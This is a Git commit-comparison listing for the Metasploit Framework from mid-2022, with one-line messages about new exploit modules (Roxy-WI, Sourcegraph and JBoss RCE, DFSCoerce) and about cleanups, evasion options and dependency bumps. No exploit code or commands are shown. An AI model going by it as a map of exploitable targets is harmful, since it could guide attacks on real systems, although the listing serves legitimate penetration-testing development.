Compare commits

...

4131 Commits

Author SHA1 Message Date
Grant Willcox 1cc42d15d0 Land #16830, Remove scripts/meterpreter/getvncpw.rb 2022-07-28 11:50:12 -05:00
Grant Willcox 5577381dd1 Land #16831, Remove scripts/meterpreter/get_env.rb 2022-07-28 11:44:12 -05:00
bcoles d45a8aa9fb Remove scripts/meterpreter/get_env.rb 2022-07-28 17:34:13 +10:00
bcoles 02519e96c6 Remove scripts/meterpreter/getvncpw.rb 2022-07-28 17:05:31 +10:00
Grant Willcox 81ca555d28 Land #16824, Msf::Post::Windows::Priv: Fix is_admin? / is_system? for shell sessions 2022-07-27 16:28:05 -05:00
Grant Willcox 9191003c74 Land #16739, Weekly dependency updates for Gemfile.lock 2022-07-27 15:33:15 -05:00
Grant Willcox 2d05bf7412 Land #16823, Remove scripts/meterpreter/prefetchtool.rb 2022-07-27 13:07:00 -05:00
Grant Willcox 09ea05754c Land #16094, Fix msfdb init command failure in systems that use the 'pg_ctl.rb' msfdb helper 2022-07-27 12:15:37 -05:00
bcoles 8a22ec8da8 Msf::Post::Windows::Priv: Fix is_admin? / is_system? for shell sessions 2022-07-28 02:55:01 +10:00
Grant Willcox 19d044621c Fix minor capitalization issue 2022-07-27 11:47:31 -05:00
bcoles 6ad17d587c Remove scripts/meterpreter/prefetchtool.rb 2022-07-28 00:10:47 +10:00
Metasploit 1ac4a74070 automatic module_metadata_base.json update 2022-07-26 15:19:21 -05:00
Grant Willcox 7c82c1cf32 Land #16817, Consolidate the config directory lookups 2022-07-26 14:57:50 -05:00
Grant Willcox c0721305e1 Land #16798, Remove scripts/meterpreter/pml_driver_config.rb 2022-07-26 13:25:43 -05:00
Grant Willcox dbf9ca5f56 Land #16810, Fix --tag for 'hosts -t/--tag' command 2022-07-26 12:24:47 -05:00
entity0xfe 488d361721 Fix --tag for 'hosts' -t | --tag command
Enable parsing of the -t argument
2022-07-26 11:39:38 -05:00
Grant Willcox 36811ea364 Land #16819, Fix hosts crash when viewing tags 2022-07-26 11:31:19 -05:00
adfoster-r7 a3ce694b88 Fix hosts crash when viewing tags 2022-07-26 12:07:57 +01:00
Grant Willcox 4bbae96840 Land #16801 - Remove scripts/meterpreter/schelevator.rb 2022-07-25 17:06:24 -05:00
Metasploit a9dfb6ccb0 automatic module_metadata_base.json update 2022-07-25 16:30:57 -05:00
Grant Willcox 4def2e56bc Land #16793, Add Roxy-WI (CVE-2022-31137) Unauthenticated Command Injection RCE 2022-07-25 16:09:43 -05:00
Jeffrey Martin f779f0f482 consolidate the config directory lookups
The user configuration directory can be overridden via environment
variables or configuration files.

In the current implementation `Msf::Config.config_directory` should be
utilized for consistent location reporting. `Msf::Config.get_config_root`
is reserved to generation of a default location and should be considered
`private` as it ignores some injected configuration options. Currently
autoloading does not allow application of the `private` keyword to this method,
requiring guidance during development that module writers should access the
full configured `user` value of `Msf::Config.config_directory`.
2022-07-25 15:27:21 -05:00
Grant Willcox 74496c1a29 Add in updated scenario documentation 2022-07-25 14:14:52 -05:00
Grant Willcox 72b1dbfeee Remove code that could cause check method to fail, fix up some documentation errors and add in scenario, and generally address some review comments 2022-07-25 13:05:04 -05:00
Nuri Çilengir 1094ce95c0 Update roxy_wi_exec.md 2022-07-25 17:14:02 +00:00
Nuri Çilengir 8b42e893b1 Update roxy_wi_exec.rb 2022-07-25 16:45:44 +00:00
Nuri Çilengir eca8af4e2a Update roxy_wi_exec.rb 2022-07-25 16:13:14 +00:00
Nuri Çilengir b16da0fe92 Update roxy_wi_exec.rb 2022-07-25 16:05:20 +00:00
Nuri Çilengir bdf8defe53 Apply suggestions from code review 2022-07-25 16:03:09 +00:00
adfoster-r7 a97f88423c Land #16813, Fix default LDAP query descriptions 2022-07-25 10:10:46 +01:00
Grant Willcox 14e3c694ff Fix default LDAP query descriptions due to some typos 2022-07-22 12:13:14 -05:00
Nuri Çilengir bc0b27e1e2 Apply suggestions from code review
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-07-22 12:58:46 +00:00
Nuri Çilengir fc3b08fb8b Apply suggestions from code review
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-07-22 12:51:40 +00:00
Nuri Çilengir 420e67aca9 Apply suggestions from code review
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-07-22 12:24:43 +00:00
Nuri Çilengir 628f5970b1 Apply suggestions from code review
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-07-22 12:24:26 +00:00
Metasploit fbc4893a84 automatic module_metadata_base.json update 2022-07-21 18:57:33 -05:00
Grant Willcox abe90c1089 Land #16668, HTTP Crawler: don't expect page object for msg 2022-07-21 18:35:35 -05:00
Grant Willcox e91beedc4a Rubocop fixes 2022-07-21 17:01:56 -05:00
Grant Willcox 210bd33a01 Land #16774, Suggest a correct datastore option 2022-07-21 14:37:45 -05:00
Metasploit c4a245640e Bump version of framework to 6.2.9 2022-07-21 12:06:12 -05:00
bcoles 6b20a5a0a9 Remove scripts/meterpreter/schelevator.rb 2022-07-22 00:19:29 +10:00
adfoster-r7 d1f6433a77 Land #16797, Workflows Labels fix typo 2022-07-21 13:46:23 +01:00
Nuri Çilengir ebe61b50a7 Fixed parameter quotes 2022-07-21 12:25:29 +00:00
Nuri Çilengir 135a25be4d Tested and fixed problems 2022-07-21 11:42:18 +00:00
Nuri Çilengir d23c175f28 Added AutoCheck and CmdStager 2022-07-21 11:39:58 +00:00
bcoles 318520a042 Remove scripts/meterpreter/pml_driver_config.rb 2022-07-21 18:18:12 +10:00
bcoles a7676dc375 Workflows: Labels: Fix typo 2022-07-21 12:08:57 +10:00
Metasploit e7ecd1618a automatic module_metadata_base.json update 2022-07-20 18:12:39 -05:00
Grant Willcox ecf8434f32 Land #16778, Deprecate checkvm script and update checkvm post module 2022-07-20 17:51:01 -05:00
Grant Willcox 09ffd7f115 Add in missing features from checkvm script to post/windows/gather/checkvm.rb 2022-07-20 17:21:58 -05:00
Grant Willcox a4dee1a171 Land #16743, Fix mssql crash when using tds encryption 2022-07-20 16:06:35 -05:00
Christophe De La Fuente f9a951d034 Land #16737, Remove initial code duplication between mssql clients 2022-07-20 19:44:25 +02:00
Jeffrey Martin 5dfec3f746 Land #16792, Widen rescue scope for reverse ssh handler 2022-07-20 09:28:26 -05:00
Jeffrey Martin 94db8b957b Land #16789, Add openssl version to debug command 2022-07-20 09:27:23 -05:00
adfoster-r7 e46a71f595 Land #16776, Add Rex::Exploitation::CmdStagerFtpHttp to Msf::Exploit::CmdStager 2022-07-20 02:50:29 +01:00
Grant Willcox a7b379f292 Fix up check code segment that would never be reached due to if/else statement above 2022-07-19 16:03:44 -05:00
Grant Willcox 59ea337c6b Fix up CVE format, add in Notes section 2022-07-19 15:58:11 -05:00
Grant Willcox 336a1feaf7 Fix up naming of module and documentation and fix most of the RuboCop and formatting errors 2022-07-19 15:44:52 -05:00
Nuri Çilengir d2769ef82b Add Roxy-WI exec 2022-07-19 21:08:45 +03:00
adfoster-r7 526ce819c0 Widen rescue scope for reverse ssh handler 2022-07-19 18:29:58 +01:00
Metasploit e1bb088ddb automatic module_metadata_base.json update 2022-07-19 09:31:40 -05:00
adfoster-r7 f02012a8ee Add openssl version to debug command 2022-07-19 15:26:05 +01:00
Spencer McIntyre ebb15ee9e7 Land #16598, Add in LDAP Query Module 2022-07-19 09:51:00 -04:00
bwatters e3e6afbaa3 Land #16753, ms03_007_ntdll_webdav: Cleanup and add additional offsets
Merge branch 'land-16753' into upstream-master
2022-07-19 08:48:06 -05:00
Spencer McIntyre 2eaccd657f Use an OptPath for QUERY_FILE_PATH
This adds tab completion and an extra check to make sure it exists.
2022-07-19 09:48:03 -04:00
Grant Willcox dcd4caf977 Remove excess error handling that was causing issues 2022-07-19 08:10:53 -05:00
Spencer McIntyre c388499acf Suggest a correct datastore option 2022-07-18 09:32:45 -04:00
Metasploit f043b121b3 automatic module_metadata_base.json update 2022-07-16 17:26:03 -05:00
Jack Heysel 2af8042bfa Land #16761, clean up ms01_023_printer
Adds additional offsets for various Windows 2000 targets.
Replaces raw socket TCP with HttpClient. This works fine in testing.
Fixes default payload, adds docs and notes.
2022-07-16 17:56:59 -04:00
Jack Heysel 5fd4c6c306 Land #16754, fix merge conflicts 2022-07-16 17:43:27 -04:00
jheysel-r7 adecb0d94b Merge branch 'master' into ms02_065_msadc 2022-07-16 17:26:23 -04:00
Metasploit e7e3ea1a31 automatic module_metadata_base.json update 2022-07-16 16:06:17 -05:00
Jack Heysel 77be219bc2 Land #16754, add offsets to ms02_065
Adds additional offsets for various Windows 2000
Professional targets, adds  docs, fixes default
payload and resolves rubocop violations.
2022-07-16 16:43:47 -04:00
bcoles 00444a6e62 Deprecate checkvm script 2022-07-16 18:40:32 +10:00
bcoles 1dcfc3406a Add Rex::Exploitation::CmdStagerFtpHttp to Msf::Exploit::CmdStager 2022-07-16 18:10:28 +10:00
Spencer McIntyre 25f50e607c Reduce code, be more permissive
This makes a few changes that should enable the module to function
better should it be dropped into a fresh MSF installation on its own.
2022-07-15 16:29:17 -05:00
Grant Willcox 2a8d95c121 Default to having a near empty custom file so that we can still update the default queries without issues vs preventing updates from occuring. If users want to override the defaults, then they accept the risk of not getting updates. Update documentation to also note this. 2022-07-15 16:29:12 -05:00
Grant Willcox 1e05630d26 Make sure that we load ACTIONs from the user's custom file at startup if they have changed anything or added any new ACTIONs 2022-07-15 16:29:12 -05:00
Grant Willcox 2d1acc0369 Refactor code and also add in proper fail_with error codes where needed. Also fix up module and documentation descriptions to be a bit clearer. 2022-07-15 16:29:01 -05:00
Grant Willcox 03ebbaf2d0 Add in RUN_SINGLE_QUERY and associated options, and then update the code and documentation accordingly. This will allow users to run single queries with associated attribute filters if they want to test out single queries at a time without changing YAML files 2022-07-15 16:29:00 -05:00
Grant Willcox 67cf39f4b9 Update documentation to include RUN_QUERY_FILE example. 2022-07-15 16:28:55 -05:00
Grant Willcox 32e5884589 Update error description to be more helpful when debugging. Also update DefaultAction to default to first entry in the list or RUN_QUERY_FILE if no other action is available 2022-07-15 16:28:50 -05:00
Grant Willcox c5f2507ee0 Fix up usage of the word columns where attributes was more appropriate. Also update the multi query logic to match new data format as it was broken before as a result of changes to file format. Finally remove extra parameters that are no longer needed. 2022-07-15 16:28:43 -05:00
Grant Willcox 8c236e789e Rename files to follow proper format. Add in documentation for examples. Then update code so we use Msf::Config.get_config_root to store the config file that we parse to get the actions outside of a Git tracked location. We will still use the default file to populate this non-git tracked location if its not already populated though. 2022-07-15 16:28:43 -05:00
Grant Willcox 3c56e272a1 Remove default actions and move them to default.yaml, then update code accordingly. Also update the initialization code so it will now load the possible actions dynamically from default.yaml. 2022-07-15 16:28:37 -05:00
Grant Willcox 438b4b1bf8 Rework the logic for output and make it a lot neater. Also redo the query logic thanks to help from Alan David Foster so the query itself will specify what fields we need vs us having to manually filter this out later on. Makes it a lot quicker and easier to work with 2022-07-15 16:28:31 -05:00
Grant Willcox 2a1a8aa632 Add in CSV reporting formatting thanks to some help from Alan David Foster 2022-07-15 16:28:30 -05:00
Grant Willcox d4809219b9 Add in JSON output option 2022-07-15 16:28:23 -05:00
Grant Willcox 515bfd296e Add in YAML query file implementation 2022-07-15 16:28:23 -05:00
Grant Willcox 65b9e1cb13 Push initial copy of work up 2022-07-15 16:27:56 -05:00
adfoster-r7 1b5e172f29 Land #16772, Add FtpHttp command stager - bump rex-exploitation gem from 0.1.31 to 0.1.33 2022-07-15 09:55:21 +01:00
space-r7 f8101aa8e4 bump rex-exploitation gem from 0.1.31 to 0.1.33 2022-07-14 17:23:49 -05:00
Metasploit fde4d4ae22 Bump version of framework to 6.2.8 2022-07-14 12:09:54 -05:00
Jeffrey Martin c675c104d3 LAnd #16771, Fix msfconsole crashing with openssl3 2022-07-14 11:06:48 -05:00
bcoles 59685f82f8 ms02_065_msadc: Cleanup and add additional offsets 2022-07-15 00:15:56 +10:00
adfoster-r7 1103f525a6 Stop msfconsole crashing with openssl3 2022-07-14 12:05:01 +01:00
Metasploit 346cbc287f automatic module_metadata_base.json update 2022-07-13 13:23:11 -05:00
Jack Heysel 662c8bbd87 Land #16742, add NetScaler decrypt aux module
This aux module allows users to decrypt secrets
in Citrix NetScaler appliance configuration files
2022-07-13 14:00:43 -04:00
Metasploit d8cc88a8cd automatic module_metadata_base.json update 2022-07-13 11:42:20 -05:00
Jack Heysel 8f3a0e3856 Land #16742, add NetScaler decrypt aux module
This aux module allows users to decrypt secrets
in Citrix NetScaler appliance configuration files
2022-07-13 12:11:02 -04:00
Metasploit b596a2f59c automatic module_metadata_base.json update 2022-07-13 09:37:15 -05:00
Jack Heysel 819d1fa2dd Land #16762, Sourcegraph RCE module
This module exploits a vuln in the gitserver
component of sourcegraph that results in OS
command execution in the context of gitserver.
2022-07-13 10:09:06 -04:00
npm-cesium137-io 9a6013b153 citrix_netscaler_config_decrypt refinements
Refactor error handling when composing KEK fragments to be more
streamlined.

Various tweaks and optimizations.

Updates to documentatation.
2022-07-13 08:36:18 -04:00
npm-cesium137-io 3f52cc80a2 Update documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-07-13 07:57:06 -04:00
npm-cesium137-io 443920850c Update modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2022-07-13 07:56:41 -04:00
npm-cesium137-io d227f0aaa2 Update modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2022-07-13 07:56:12 -04:00
Metasploit f18392adb1 automatic module_metadata_base.json update 2022-07-12 15:52:00 -05:00
space-r7 ccef129807 Land #16727, set tftphost option 2022-07-12 15:29:42 -05:00
Metasploit 88c2d8148c automatic module_metadata_base.json update 2022-07-12 11:49:08 -05:00
Jack Heysel fdd7a863c8 Land #16736, fix confluence_widget_connector crash
This change fixes a bug in the confluence_widget_connector 
exploit module to prevent it from crashing when the HTTP
response body received in the get_java_property method is
empty or does not match expected regex.
2022-07-12 12:27:40 -04:00
Metasploit a75a99de89 automatic module_metadata_base.json update 2022-07-12 10:13:27 -05:00
Jack Heysel 52fd45b7ab Land #16744 Jboss EAP/AS RCE module
This module exploits a Java deserialization vulnerability
in JBOSS EAP/AS Remoting Unified Invoker interface for
versions 6.1.0 and prior.
2022-07-12 10:49:22 -04:00
Jack Heysel 7df6d73741 Added new line to end of file 2022-07-12 09:08:19 -04:00
Jack Heysel 44abcfcb28 Added flavour to fix linux_dropper 2022-07-12 09:06:06 -04:00
adfoster-r7 d297adcebb Land #16766, update docs for Pro links 2022-07-11 16:35:16 +01:00
Jeffrey Martin 5337571bff update docs for Pro links
Updates to provide links to previous semantic version of Metasploit Pro.
2022-07-11 10:09:24 -05:00
Spencer McIntyre 439606b2ac Use a more reliable check method
The check method will not work regardless of whether or not there is a
cloned repository. The response can be analyzed using a random,
non-existant repo.
2022-07-11 09:48:08 -04:00
adfoster-r7 171f81803a Land #16747, add lotus domino hash extraction spec 2022-07-11 14:20:22 +01:00
adfoster-r7 44e4714b9b Land #16764, Rex::Proto::Http: Add evasion options to shuffle GET / POST parameters 2022-07-11 14:17:07 +01:00
Spencer McIntyre 48cefee585 Cleanup the module based on feedback 2022-07-11 09:09:25 -04:00
Metasploit 1416b5776d automatic module_metadata_base.json update 2022-07-10 23:01:03 -05:00
bcoles 57e66296ef Land #16762, ms04-007-killbill: Use protocol version 1 for connections 2022-07-11 13:39:10 +10:00
bcoles 39f288bfe3 Rex::Proto::Http: Add evasion options to shuffle GET / POST parameters 2022-07-11 01:37:41 +10:00
adfoster-r7 3e66fc8f4e Fix crash in ms04-007-killbill 2022-07-10 00:07:26 +01:00
Spencer McIntyre 63734832b2 Add sourcegraph RCE module docs 2022-07-08 17:27:27 -04:00
Spencer McIntyre 9d979fdf4f Finish up the sourcegraph RCE module 2022-07-08 17:27:22 -04:00
Spencer McIntyre 27ad62c964 Add a decent check method 2022-07-08 16:40:42 -04:00
bcoles 83bc954e9d ms01_023_printer: cleanup; use HttpClient; add additional targets 2022-07-09 01:36:10 +10:00
Metasploit 172ee9a73b automatic module_metadata_base.json update 2022-07-08 09:24:28 -05:00
Spencer McIntyre 781597bc0e Land #16617, fix race condition in short ranges 2022-07-08 09:56:51 -04:00
Metasploit 489d5e023d automatic module_metadata_base.json update 2022-07-08 08:42:50 -05:00
Spencer McIntyre 728cf97f6e Land #16718, Fix run_as module on x64 systems 2022-07-08 09:22:22 -04:00
Heyder Andrade d6b6f47b09 change doc file 2022-07-08 02:36:18 +02:00
Heyder Andrade 2f7cf90b7f mixin didn't work with linux_dropper payload
- Fixed exception handling variable attribution
- Tried to change JavaDeserialization Util to JavaDeserialization mixin
instead
- Changed the fail reason when the connection is unsuccessful
2022-07-08 02:30:26 +02:00
Metasploit 234a83401b automatic module_metadata_base.json update 2022-07-07 18:28:57 -05:00
space-r7 f958b0a053 Land #16738, correct CVE/lint for weblogic module 2022-07-07 18:08:13 -05:00
space-r7 52ac281991 change wording in fail_with() 2022-07-07 18:05:56 -05:00
Metasploit 43983b6cb6 automatic module_metadata_base.json update 2022-07-07 15:45:02 -05:00
Jack Heysel 4da72a9b01 Land #16735, Fix defaults for aerohive module
This change sets the MeterpreterTryToFork advanced
payload option to true by default for the Linux target
in the aerohive_netconfig_lfi_log_poison_rce module.
2022-07-07 16:21:56 -04:00
Spencer McIntyre 2296db8ee3 Merge pull request #16755 from zeroSteiner/fix/wiki/typo
It's CommonsBeanutils1 not CommonBeanutils1
2022-07-07 14:01:20 -04:00
Spencer McIntyre bec15d18bc It's CommonsBeanutils1 not CommonBeanutils1 2022-07-07 13:44:11 -04:00
Metasploit 87f32cbf54 automatic module_metadata_base.json update 2022-07-07 12:32:47 -05:00
Jack Heysel 6db340508f Land #16703, add Censys API v2 functionality
This PR updates the censys_search.rb module to also
make use of the v2 API functionality
2022-07-07 13:09:31 -04:00
Metasploit 887db0b76e Bump version of framework to 6.2.7 2022-07-07 12:04:37 -05:00
Erik Wynter 3ad42dd153 change option names to H3 for weblogic_deserialize_asyncresponseservice docs
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-07-07 19:04:26 +03:00
bcoles 3f63f9fcd1 ms02_065_msadc: Cleanup and add additional offsets 2022-07-08 00:26:02 +10:00
Jeffrey Martin cdd12b3b11 expand proof verification string 2022-07-07 09:05:16 -05:00
Jeffrey Martin f319d6e509 more explicitly cross platform file location 2022-07-07 08:41:55 -05:00
Jeffrey Martin e7134d5244 code review adjusments for double and context 2022-07-07 08:26:46 -05:00
kalba-security 7d32338702 remove ARTIFACTS_ON_DISK from weblogic_deserialize_asyncresponseservice notes 2022-07-07 05:26:59 -07:00
bcoles 7d111938d5 ms03_007_ntdll_webdav: Cleanup and add additional offsets 2022-07-07 20:31:57 +10:00
Metasploit eb6535009f automatic module_metadata_base.json update 2022-07-06 18:38:41 -05:00
space-r7 debf619968 Land #16733, add dfscoerce scanner module 2022-07-06 18:18:00 -05:00
Spencer McIntyre c092291236 Bump ruby_smb to 3.1.6 2022-07-06 15:34:25 -04:00
e2002e bc5a8f6fc9 Merge pull request #1 from cdelafuente-r7/censys_improvements
Rework `censys_search` module to use Censys Search API v2
2022-07-06 11:56:01 +02:00
Spencer McIntyre a8c2b3bdff Initial exploit for CVE-2022-23642 2022-07-05 16:58:22 -04:00
Jeffrey Martin a41f655060 add lotus domino hash extraction spec
Adds a spec targeting a single method in the `lotus_domino_hashes` module. This is a start on
offering example on how a spec can be written to test part of the code in a module using example
responses from a unit testing perspective.
2022-07-05 11:38:25 -05:00
Metasploit 20fb1e5690 automatic module_metadata_base.json update 2022-07-05 09:00:07 -05:00
Spencer McIntyre f7209bfc75 Land #16724, Modernize ms01_026_dbldecode
Use HttpClient; remove meterpreter code; fix stager
2022-07-05 09:36:58 -04:00
adfoster-r7 5b8680ee91 Land #16567 from h00die/juniper_enhancements
Juniper config processor enhancements
2022-07-05 12:06:34 +01:00
Jack Heysel 3a4276ad33 Land #16716 Expose URIPATH option for HTTP stagers
This fix exposes the CMDSTAGER::URIPATH option
for HTTP stagers
2022-07-04 21:11:01 -04:00
Heyder Andrade bbf56c7f4c Delete jboss_remoting_unified_invoker.md 2022-07-05 00:33:30 +02:00
Heyder Andrade 1ccc91d23c Rename doc file 2022-07-05 00:25:56 +02:00
Heyder Andrade 50ca5f0ce2 Add description 2022-07-05 00:25:07 +02:00
Heyder Andrade b8834e1534 Added documentation 2022-07-05 00:19:17 +02:00
Christophe De La Fuente 066d01b7b2 Rework censys_search module to use Censys Search API v2 2022-07-04 17:19:16 +02:00
adfoster-r7 b42654875e Fix mssql crash when using tds encryption 2022-07-04 11:41:57 +01:00
npm-cesium137-io 789397a445 citrix_netscaler_config_decrypt tweaks
Minor code tweaks and updates to documentation
2022-07-03 08:21:58 -04:00
bcoles ec2445751f Bump rex-exploitation gem from 0.1.30 to 0.1.31 2022-07-03 19:18:21 +10:00
bcoles 04aa05faa2 ms01_026_dbldecode: Use HttpClient; remove meterpreter code; fix stager 2022-07-03 18:22:55 +10:00
yvain 8bd0be9837 msftidy pass. 2022-07-02 19:43:41 +02:00
yvain f2419785ba implemented certificates search as an option. 2022-07-02 19:02:25 +02:00
Heyder Andrade 0ea033be55 Add module for jboss remoting unified invoker RCE 2022-07-01 21:39:42 +02:00
Spencer McIntyre 2f1949d021 Land #16731, Use proper permissions when opening a process 2022-07-01 13:40:48 -04:00
Metasploit b5d5ba9783 automatic module_metadata_base.json update 2022-07-01 11:15:25 -05:00
Metasploit ac4f50ebad Weekly dependency updates for Gemfile.lock 2022-07-01 10:57:29 -05:00
Christophe De La Fuente b40dd95d4f Land #16723, Add FreeSwitch Login auxiliary module 2022-07-01 16:57:34 +02:00
Christophe De La Fuente 9de7411723 Land #16704, Fix bad loop terminator checks and data checks in memcached_extractor.rb 2022-07-01 16:36:56 +02:00
kalba-security 12522d1407 fix cve in weblogic_deserialize_asyncresponseservice docs and run msftidy_docs 2022-07-01 10:34:27 -04:00
kalba-security 48598b8c5b correct CVE and add linting for weblogic_deserialize_asyncresponseservice 2022-07-01 10:27:51 -04:00
adfoster-r7 5bc618e642 Remove initial code duplication between mssql clients 2022-07-01 14:26:04 +01:00
kalba-security 17f82a900e linting for confluence_widget_connecter and add catch for all scenarios where clear_response returns nil 2022-07-01 08:43:47 -04:00
kalba-security f6b6ad4bf1 prevent confluence_widget_connector from crashing when the response body in get_java_property is empty 2022-07-01 07:37:54 -04:00
kalba-security b56242c7a2 enable MeterpreterTryToFork by default for aerohive_netconfig_lfi_log_poison_rce 2022-07-01 06:15:13 -04:00
krastanoel e944196c5c Update documentation 2022-07-01 12:29:17 +07:00
krastanoel 2e63a5b48c setting stop_on_success attribute to true
this attribute is needed by LoginScanner module but will have no effect
2022-07-01 12:22:31 +07:00
krastanoel cdc6fe471f Use safe navigation operator instead of rescue 2022-07-01 12:06:38 +07:00
yvain 1856baf4b9 censys host search will output certificates to be used with certificates search. 2022-07-01 06:35:09 +02:00
Spencer McIntyre 60da336ad4 Fix a silly typo 2022-06-30 17:38:30 -04:00
Spencer McIntyre c67432b20d Add the documentation for dfscoerce 2022-06-30 17:25:32 -04:00
Spencer McIntyre 7e35f42eeb Finish up error handling for dfscoerce 2022-06-30 17:15:21 -04:00
Spencer McIntyre 7a982a2c83 Report ACCESS_DENIED as success
If the listener that handles the incoming connection request replies
with STATUS_ACCESS_DENIED, the API will return ERROR_ACCESS_DENIED to
the caller. This is the behavior of Metasploit's capture module as well
as Responder.
2022-06-30 15:16:11 -04:00
Spencer McIntyre 81ab873d6c Add petitpotam error handling 2022-06-30 15:12:23 -04:00
Spencer McIntyre 43629a3960 Add the initial dfscoerce module 2022-06-30 15:00:52 -04:00
space-r7 ecb09864d3 make sure generic permission is actually set 2022-06-30 13:27:51 -05:00
Metasploit a172fa0da0 Bump version of framework to 6.2.6 2022-06-30 12:05:30 -05:00
Metasploit b8e6b02d04 automatic module_metadata_base.json update 2022-06-30 05:36:37 -05:00
Christophe De La Fuente 0d19e47b8d Land #16677, Add module for adding/deleting computers via MS-SAMR 2022-06-30 12:12:26 +02:00
Christophe De La Fuente 8e32beeeef Update specs 2022-06-30 11:11:11 +02:00
krastanoel 4f64d098dc Apply suggestions from code review
Use include instead of regex and rescue stream closed error

Co-authored-by: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
2022-06-30 14:04:39 +07:00
krastanoel a2949c7555 Fix documentation warning 2022-06-30 11:51:03 +07:00
krastanoel 738aa7ac0a Deregister STOP_ON_SUCCESS 2022-06-30 11:42:50 +07:00
krastanoel f81e4d5dde use autocheck module and rescue in case the user use ForceExploit against unknown service 2022-06-30 11:38:20 +07:00
adfoster-r7 1964e61dc8 Land #16729, Fix rex table from crashing on unknown characters 2022-06-29 21:44:31 +01:00
Grant Willcox 685e35788b Bump rex-text version 2022-06-29 15:11:42 -05:00
NikitaKovaljov 9b909131ff added datastore[TIMEOUT] options to line 77 2022-06-29 21:02:26 +03:00
Spencer McIntyre c4be01c26a Bump ruby_smb to 3.1.5 2022-06-29 13:31:14 -04:00
Metasploit daaebc0bd8 automatic module_metadata_base.json update 2022-06-29 12:23:05 -05:00
Christophe De La Fuente 0e3fdd0799 Fix from code review 2022-06-29 19:18:47 +02:00
Spencer McIntyre 2d6e910078 Land #16721, Phpmailer arg injection update 2022-06-29 13:00:48 -04:00
Spencer McIntyre 1b7d8f1e74 Fix a whitespace issue, restore option naming 2022-06-29 12:24:29 -04:00
bcoles bbbec267b6 exploits: Set tftphost option for modules which use Windows TFTP stager 2022-06-29 19:10:52 +10:00
Erik Schweiss 695e1243b8 Update modules/exploits/multi/http/phpmailer_arg_injection.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-06-28 23:08:20 -10:00
yvain d14e610230 forgot to push this 2022-06-28 19:38:47 +02:00
Spencer McIntyre 41ba2d263b Address PR feedback
Simplify the application_key usage, update docs and catch another
exception.
2022-06-28 11:53:05 -04:00
krastanoel da63fbbad4 Add FreeSwitch Login auxiliary module 2022-06-28 20:13:24 +07:00
Metasploit ed2c64bffd automatic module_metadata_base.json update 2022-06-28 04:35:47 -05:00
adfoster-r7 6b17905790 Land #16722, Fix notes for SideEffects and Reliability 2022-06-28 10:15:04 +01:00
bcoles 9087f86cce exploit/multi/misc/nomad_exec: Fix notes for SideEffects and Reliability 2022-06-28 17:02:51 +10:00
Erik Schweiss a89e88c462 Merge branch 'rapid7:master' into phpmailer_arg_injection_update 2022-06-27 11:05:41 -10:00
Metasploit 2cdc8540d4 automatic module_metadata_base.json update 2022-06-27 06:43:36 -05:00
adfoster-r7 22a1e06f02 Land #16702, Fix reference URL link in hikvision_rtsp_bof.rb 2022-06-27 12:23:04 +01:00
Christophe De La Fuente a9d3e7c758 Fix run_as module on x64 systems 2022-06-27 13:21:58 +02:00
bcoles 66009ca5e5 Exploit::CmdStager: Expose CMDSTAGER::URIPATH option for HTTP stagers 2022-06-25 23:49:47 +10:00
Erik 836970e1ae Update phpmailer_arg_injection.rb
fixed typo
2022-06-23 13:45:42 -10:00
Erik 8259e8e495 Update phpmailer_arg_injection.rb
Fixed regex to match legal name tags
2022-06-23 13:43:21 -10:00
Erik ae8f1c3378 Update on phpmailer_arg_injection.rb #15810
Added Regex to validate new options
2022-06-23 13:10:19 -10:00
Erik e9b2fc6ecf Merge branch 'rapid7:master' into master 2022-06-23 12:52:09 -10:00
Erik 84aa9ceeb9 Update phpmailer_arg_injection.md
Added options to the module docs for the new options
2022-06-23 12:50:33 -10:00
Erik 96feb8d1be Update phpmailer_arg_injection.rb
Changed new advanced option to camel case
2022-06-23 12:47:26 -10:00
Metasploit 911092007c Bump version of framework to 6.2.5 2022-06-23 14:56:43 -05:00
Metasploit e2bfef3876 automatic module_metadata_base.json update 2022-06-23 14:36:44 -05:00
Spencer McIntyre fb3d349969 Land #16676, Add 6th getsystem technique 2022-06-23 15:14:52 -04:00
Christophe De La Fuente df69ffeaae Update metasploit payloads to 2.0.94 2022-06-23 18:46:51 +02:00
Christophe De La Fuente 369c23a90b Revert to TECHNIQUE datastore option for backwards compatibility 2022-06-23 18:43:18 +02:00
yvain fae64d5e9b passes bot tests for merge 2022-06-23 17:27:47 +02:00
3V3RYONE ef1b37f6e5 add ensure block to delete temporary test file 2022-06-23 20:51:28 +05:30
yvain e5f0378146 Web request to cencys updated.
a few modifications in how we handle the data.
2022-06-23 17:20:09 +02:00
3V3RYONE 75a76a52f4 check for NOEXEC flags before creating db socket file 2022-06-23 16:50:23 +05:30
Grant Willcox 5b6d9538cd Move a send outside of the loop so we can keep reading data vs sending and recieving only the first 4096 bytes of data and then executing the query again 2022-06-22 19:44:53 -05:00
Grant Willcox 477db20c04 Fix bad loop terminator checks and data checks 2022-06-22 17:47:22 -05:00
yvain 938090dacb cencys 2022-06-22 23:01:11 +02:00
Grant Willcox e4ce1c53dd Fix reference URL link 2022-06-22 15:49:43 -05:00
Metasploit fc2efc66ae automatic module_metadata_base.json update 2022-06-21 18:22:22 -05:00
bwatters c7820048cd Land #16680, Add a Windows target for Confluence
Merge branch 'land-16680' into upstream-master
2022-06-21 17:56:32 -05:00
Metasploit 96fc98eb7d automatic module_metadata_base.json update 2022-06-21 10:09:46 -05:00
space-r7 7983f878a8 Land #16597, psh cmd adapter fix for encrypt shell 2022-06-21 09:47:05 -05:00
yvain 6ae35e23fe cencys related modules update 2022-06-20 10:24:58 +02:00
